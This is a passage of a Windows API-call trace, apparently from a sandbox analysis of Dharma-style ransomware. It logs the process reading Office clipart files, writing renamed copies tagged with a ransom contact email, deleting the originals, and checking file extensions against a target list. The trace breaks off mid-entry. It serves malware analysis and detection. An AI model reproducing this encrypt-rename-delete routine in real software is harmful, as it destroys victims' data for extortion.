[0154.678] SetEndOfFile (hFile=0x10e4) returned 1 [0154.679] CloseHandle (hObject=0x10e4) returned 1 [0154.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0154.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0154.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0154.680] lstrlenW (lpString=".doc") returned 4 [0154.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.680] lstrlenW (lpString=".docx") returned 5 [0154.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.680] lstrlenW (lpString=".pdf") returned 4 [0154.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.680] lstrlenW (lpString=".xls") returned 4 [0154.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.680] lstrlenW (lpString=".xlsx") returned 5 [0154.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.680] lstrlenW (lpString=".ppt") returned 4 [0154.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0154.680] lstrlenW (lpString=".zip") returned 4 [0154.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.681] lstrlenW (lpString=".rar") returned 4 [0154.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.681] lstrlenW (lpString=".bz2") returned 4 [0154.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.681] lstrlenW (lpString=".7z") returned 3 [0154.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0154.681] lstrlenW (lpString=".dbf") returned 4 [0154.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0154.681] lstrlenW (lpString=".1cd") returned 4 [0154.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0154.681] lstrlenW (lpString=".jpg") returned 4 [0154.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.681] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.682] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0154.682] GetLastError () returned 0x0 [0154.682] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1138, lpOverlapped=0x0) returned 1 [0154.684] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1140, lpOverlapped=0x0) returned 1 [0154.685] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.685] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.685] SetEndOfFile (hFile=0x10e0) returned 1 [0154.685] CloseHandle (hObject=0x10e0) returned 1 [0154.690] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.690] SetEndOfFile (hFile=0x10e4) returned 1 [0154.691] CloseHandle (hObject=0x10e4) returned 1 [0154.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0154.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0154.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0154.692] lstrlenW (lpString=".doc") returned 4 [0154.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.692] lstrlenW (lpString=".docx") returned 5 [0154.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.692] lstrlenW (lpString=".pdf") returned 4 [0154.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.692] lstrlenW (lpString=".xls") returned 4 [0154.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.692] lstrlenW (lpString=".xlsx") returned 5 [0154.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.692] lstrlenW (lpString=".ppt") returned 4 [0154.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0154.693] lstrlenW (lpString=".zip") returned 4 [0154.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.693] lstrlenW (lpString=".rar") returned 4 [0154.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString=".bz2") returned 4 [0154.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString=".7z") returned 3 [0154.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0154.693] lstrlenW (lpString=".dbf") returned 4 [0154.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0154.693] lstrlenW (lpString=".1cd") returned 4 [0154.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0154.693] lstrlenW (lpString=".jpg") returned 4 [0154.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.694] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.694] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0154.695] GetLastError () returned 0x0 [0154.695] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1870, lpOverlapped=0x0) returned 1 [0154.763] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1880, lpOverlapped=0x0) returned 1 [0154.764] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.764] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.764] SetEndOfFile (hFile=0x10e0) returned 1 [0154.765] CloseHandle (hObject=0x10e0) returned 1 [0154.816] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.816] SetEndOfFile (hFile=0x10e4) returned 1 [0154.818] CloseHandle (hObject=0x10e4) returned 1 [0154.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0154.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0154.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0154.819] lstrlenW (lpString=".doc") returned 4 [0154.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.820] lstrlenW (lpString=".docx") returned 5 [0154.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.820] lstrlenW (lpString=".pdf") returned 4 [0154.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.820] lstrlenW (lpString=".xls") returned 4 [0154.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.820] lstrlenW (lpString=".xlsx") returned 5 [0154.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.820] lstrlenW (lpString=".ppt") returned 4 [0154.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0154.820] lstrlenW (lpString=".zip") returned 4 [0154.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.820] lstrlenW (lpString=".rar") returned 4 [0154.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.821] lstrlenW (lpString=".bz2") returned 4 [0154.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.821] lstrlenW (lpString=".7z") returned 3 [0154.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0154.821] lstrlenW (lpString=".dbf") returned 4 [0154.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0154.821] lstrlenW (lpString=".1cd") returned 4 [0154.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0154.821] lstrlenW (lpString=".jpg") returned 4 [0154.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.822] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.822] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0154.823] GetLastError () returned 0x0 [0154.823] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xeb8, lpOverlapped=0x0) returned 1 [0154.847] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec0, lpOverlapped=0x0) returned 1 [0154.848] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.848] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.848] SetEndOfFile (hFile=0x10e0) returned 1 [0154.849] CloseHandle (hObject=0x10e0) returned 1 [0154.853] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.853] SetEndOfFile (hFile=0x10e4) returned 1 [0154.854] CloseHandle (hObject=0x10e4) returned 1 [0154.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0154.855] lstrlenW (lpString=".doc") returned 4 [0154.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.856] lstrlenW (lpString=".docx") returned 5 [0154.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.856] lstrlenW (lpString=".pdf") returned 4 [0154.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.856] lstrlenW (lpString=".xls") returned 4 [0154.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.856] lstrlenW (lpString=".xlsx") returned 5 [0154.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.856] lstrlenW (lpString=".ppt") returned 4 [0154.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0154.856] lstrlenW (lpString=".zip") returned 4 [0154.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.856] lstrlenW (lpString=".rar") returned 4 [0154.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.856] lstrlenW (lpString=".bz2") returned 4 [0154.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.857] lstrlenW (lpString=".7z") returned 3 [0154.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0154.857] lstrlenW (lpString=".dbf") returned 4 [0155.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0155.331] lstrlenW (lpString=".1cd") returned 4 [0155.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0155.331] lstrlenW (lpString=".jpg") returned 4 [0155.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.332] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.332] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0155.333] GetLastError () returned 0x0 [0155.333] ReadFile (in: hFile=0x1038, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x414, lpOverlapped=0x0) returned 1 [0155.447] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x420, lpOverlapped=0x0) returned 1 [0155.448] ReadFile (in: hFile=0x1038, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.448] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.448] SetEndOfFile (hFile=0x10e0) returned 1 [0155.448] CloseHandle (hObject=0x10e0) returned 1 [0155.449] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.449] SetEndOfFile (hFile=0x1038) returned 1 [0155.450] CloseHandle (hObject=0x1038) returned 1 [0155.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0155.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0155.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0155.452] lstrlenW (lpString=".doc") returned 4 [0155.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.452] lstrlenW (lpString=".docx") returned 5 [0155.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.452] lstrlenW (lpString=".pdf") returned 4 [0155.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.452] lstrlenW (lpString=".xls") returned 4 [0155.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.452] lstrlenW (lpString=".xlsx") returned 5 [0155.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.452] lstrlenW (lpString=".ppt") returned 4 [0155.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0155.452] lstrlenW (lpString=".zip") returned 4 [0155.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.452] lstrlenW (lpString=".rar") returned 4 [0155.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.452] lstrlenW (lpString=".bz2") returned 4 [0155.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.452] lstrlenW (lpString=".7z") returned 3 [0155.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0155.453] lstrlenW (lpString=".dbf") returned 4 [0155.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0155.453] lstrlenW (lpString=".1cd") returned 4 [0155.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0155.453] lstrlenW (lpString=".jpg") returned 4 [0155.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.453] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.453] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0155.454] GetLastError () returned 0x0 [0155.454] ReadFile (in: hFile=0x1038, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x20ae, lpOverlapped=0x0) returned 1 [0155.489] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x20b0, lpOverlapped=0x0) returned 1 [0155.497] ReadFile (in: hFile=0x1038, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.497] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.497] SetEndOfFile (hFile=0x10e0) returned 1 [0155.497] CloseHandle (hObject=0x10e0) returned 1 [0155.501] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.502] SetEndOfFile (hFile=0x1038) returned 1 [0155.503] CloseHandle (hObject=0x1038) returned 1 [0155.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0155.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0155.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0155.505] lstrlenW (lpString=".doc") returned 4 [0155.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.505] lstrlenW (lpString=".docx") returned 5 [0155.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.505] lstrlenW (lpString=".pdf") returned 4 [0155.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.506] lstrlenW (lpString=".xls") returned 4 [0155.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.506] lstrlenW (lpString=".xlsx") returned 5 [0155.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.506] lstrlenW (lpString=".ppt") returned 4 [0155.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0155.506] lstrlenW (lpString=".zip") returned 4 [0155.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.506] lstrlenW (lpString=".rar") returned 4 [0155.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.507] lstrlenW 